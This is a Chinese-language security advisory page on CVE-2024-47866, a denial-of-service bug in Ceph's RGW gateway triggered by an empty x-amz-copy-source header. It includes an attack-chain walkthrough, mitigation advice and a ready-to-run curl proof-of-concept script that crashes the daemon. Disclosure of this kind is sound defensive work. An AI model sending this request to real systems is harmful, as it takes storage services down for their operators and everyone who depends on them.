IPBUF安全漏洞报告
English
CVE-2024-47866 CVSS 7.5 高危

CVE-2024-47866 Ceph RGW拒绝服务漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2024-47866
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ceph

相关标签

拒绝服务CephRGW分布式存储S3兼容API高危漏洞网络攻击无认证利用

漏洞概述

CVE-2024-47866是影响Ceph分布式存储平台的拒绝服务漏洞。Ceph是一款广泛使用的分布式对象、块和文件存储解决方案,为云基础设施和企业级存储系统提供支持。该漏洞存在于Ceph的RGW(Rados Gateway)组件中,RGW是Ceph的对象存储接口,提供了与Amazon S3兼容的API。在受影响的版本(直至并包括19.2.3)中,攻击者可以通过构造特殊的HTTP请求来触发漏洞。具体而言,当使用AWS S3兼容的`x-amz-copy-source`请求头时,如果指定空字符串作为复制源内容,将导致RGW守护进程发生崩溃。这种崩溃会使得对象存储服务不可用,从而造成拒绝服务攻击。由于该漏洞无需认证即可利用,且可以通过网络远程触发,因此具有较高的安全风险。攻击者无需特殊的权限或用户交互,即可使整个存储服务瘫痪,对业务连续性造成严重影响。截至披露时,官方尚未发布修复版本。

技术细节

该漏洞的技术根源在于Ceph RGW处理AWS S3兼容API请求时的输入验证缺陷。当RGW收到带有`x-amz-copy-source`头的PUT对象请求时,如果该头部的值被设置为空字符串,RGW的内部处理逻辑会在解析和处理这个空字符串时出现异常。具体来说,RGW在尝试执行对象复制操作时,会调用底层的RADOS库来处理源对象,但由于源对象路径被设置为空字符串,导致内存访问错误或断言失败,最终造成守护进程崩溃。攻击者可以利用任何能够发送HTTP请求的工具(如curl)来触发此漏洞,无需任何身份认证。攻击流程包括:构造包含`x-amz-copy-source`头的PUT请求,将该头的值设为空字符串或无效路径,发送到目标RGW端点。服务器在处理该请求时会立即崩溃,需要重启服务才能恢复。这是一种典型的资源耗尽型DoS漏洞,攻击成功后会使得所有依赖该存储服务的应用受到影响。

攻击链分析

STEP 1
步骤1
攻击者发现目标Ceph RGW服务暴露在网络上
STEP 2
步骤2
攻击者构造包含x-amz-copy-source头的PUT请求,将值设为空字符串
STEP 3
步骤3
攻击者发送恶意HTTP请求到目标RGW端点
STEP 4
步骤4
RGW在处理请求时,由于空字符串导致内部处理逻辑错误
STEP 5
步骤5
RGW守护进程发生崩溃,服务中断
STEP 6
步骤6
所有依赖该存储服务的应用无法正常访问数据,造成DoS

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2024-47866 PoC - Ceph RGW DoS via x-amz-copy-source # Target: RGW endpoint (e.g., http://target:7480) TARGET="http://target:7480" BUCKET="test-bucket" OBJECT="test-object" ACCESS_KEY="your-access-key" SECRET_KEY="your-secret-key" # Create a test bucket first (if needed) echo "Creating test bucket..." curl -X PUT "${TARGET}/${BUCKET}" \ -H "Host: localhost" \ -H "Date: $(date -u +'%a, %d %b %Y %H:%M:%S GMT')" \ -H "Authorization: AWS ${ACCESS_KEY}:$(echo -n "PUT\n\n\n\n/${BUCKET}/\n" | openssl dgst -sha1 -hmac "${SECRET_KEY}" -binary | base64)" # Upload initial object echo "Uploading initial object..." curl -X PUT "${TARGET}/${BUCKET}/${OBJECT}" \ -d "initial content" \ -H "Host: localhost" # Trigger DoS - send request with empty x-amz-copy-source echo "Triggering DoS vulnerability..." curl -X PUT "${TARGET}/${BUCKET}/${OBJECT}-copy" \ -H "x-amz-copy-source: " \ -H "Host: localhost" \ -v echo "If vulnerable, RGW daemon should crash"

影响范围

Ceph <= 19.2.3

防御指南

临时缓解措施
目前官方尚未发布修复版本。建议采取以下临时缓解措施:1) 在RGW服务前配置负载均衡器或API网关,过滤包含空x-amz-copy-source头的请求;2) 使用iptables或防火墙规则限制对RGW端口(默认7480)的访问,只允许受信任的IP访问;3) 监控RGW进程状态,设置自动告警和重启机制;4) 考虑使用对象存储的备份方案,确保数据可恢复;5) 关注Ceph官方安全公告,及时获取修复信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表